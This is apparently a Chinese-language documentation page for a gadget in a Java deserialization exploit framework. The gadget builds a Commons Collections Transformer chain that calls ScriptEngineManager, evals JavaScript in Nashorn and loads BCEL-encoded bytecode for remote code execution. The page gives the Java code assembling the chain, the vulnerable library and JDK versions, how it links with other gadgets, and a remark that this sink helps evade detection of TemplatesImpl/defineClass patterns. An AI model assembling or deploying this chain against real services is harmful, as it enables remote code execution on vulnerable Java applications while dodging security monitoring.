- 类别:javanative 别名:— 优先级:—
- 作者:—
- 依赖:
<=commons-collections 3.2.1或<=commons-collections 4.0、jdk < 8u251
构造一个 Commons Collections 的 Transformer[] 数组,使其触发时通过 ScriptEngineManager 取得 Nashorn「js」引擎并 eval 一段 JavaScript 表达式;该 JS 内部用 com.sun.org.apache.bcel.internal.util.ClassLoader 加载 BCEL($$BCEL$$ 前缀)字节码并实例化,完成 RCE。是 CC 家族中借道脚本引擎 + BCEL 的字节码 sink。
- 入口
tags:TransformerChains—— 产出Transformer[],由外层 CC gadget(nextTags=TransformerChains)承接并包进ChainedTransformer。 - 衔接
nextTags:Js_Expr—— 之后接一个产出「JS 表达式字符串」的 gadget(内含加载 BCEL 字节码的 JS 代码)。 excludes:无。
public Object getObject(String jsExpression) throws Exception {
LinkedList<Object> transformers = new LinkedList<Object>();
transformers.add(this.createConstantTransformer(ScriptEngineManager.class)); // 常量返回 ScriptEngineManager 类
transformers.add(this.createInvokerTransformer("newInstance", new Class[0], new Object[0])); // new ScriptEngineManager()
transformers.add(this.createInvokerTransformer("getEngineByName", // .getEngineByName("js")
new Class[]{String.class}, new Object[]{"js"}));
transformers.add(this.createInvokerTransformer("eval", // engine.eval(jsExpression)
new Class[]{String.class}, new Object[]{jsExpression}));
transformers.add(this.createInvokerTransformer("newInstance", new Class[0], new Object[0])); // 对 eval 结果再 newInstance
return this.createTransformerArray(transformers);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
String version = context.getString(ContextTag.CC_VERSION);
this.initClazz(version);
String bcelString = (String)chain.doCreate(context); // 内层产出承载 BCEL 的 JS 表达式字符串
return this.getObject(bcelString);
}ChainedTransformer 执行顺序:ScriptEngineManager.class →(反射)newInstance() 得到实例 → getEngineByName("js") 得到 Nashorn 引擎 → eval(jsExpression) 执行注入的 JS。该 JS 通常形如用 com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("$$BCEL$$...") 加载 BCEL 编码的类,最后再一次 newInstance 触发其构造逻辑。数组组装依赖基类 AbstractTransformer 反射工厂(见 TransformerWithTemplatesImpl)。反编译头部 Could not load ... org.slf4j.Logger 属缺失第三方依赖的正常注释,不影响逻辑。
本类无独立 @Param。CC 版本经 ContextTag.CC_VERSION 注入;JS 表达式(含 BCEL 字节码)由下游 Js_Expr gadget 提供。
- 适用
commons-collections <= 3.2.1或collections4 <= 4.0。 - 关键约束
jdk < 8u251:com.sun.org.apache.bcel.internal.util.ClassLoader在 JDK 8u251 起被移除/限制,故仅低版本可用;同时依赖 Nashorn「js」引擎存在(JDK 15 起 Nashorn 被移除)。 - sink 走脚本引擎 + BCEL,适合规避直接
TemplatesImpl/defineClass特征的检测。
自由构件,未直接出现在预设链(usedInChains 为空)。可作为 CC 链尾 sink 的低版本 JDK 变体手工组入。
- 上游(承接方,
nextTags=TransformerChains):CommonsCollectionsK1/K2/K3/K4等外层 CC gadget。 - 下游(
nextTags=Js_Expr):产出 BCEL/JS 表达式字符串的 gadget(配合BytecodeConvert生成 BCEL 编码)。 - 同族:TransformerWithTemplatesImpl、TransformerWithMethodHandles、TransformerWithJNDI、TransformerWithSleep。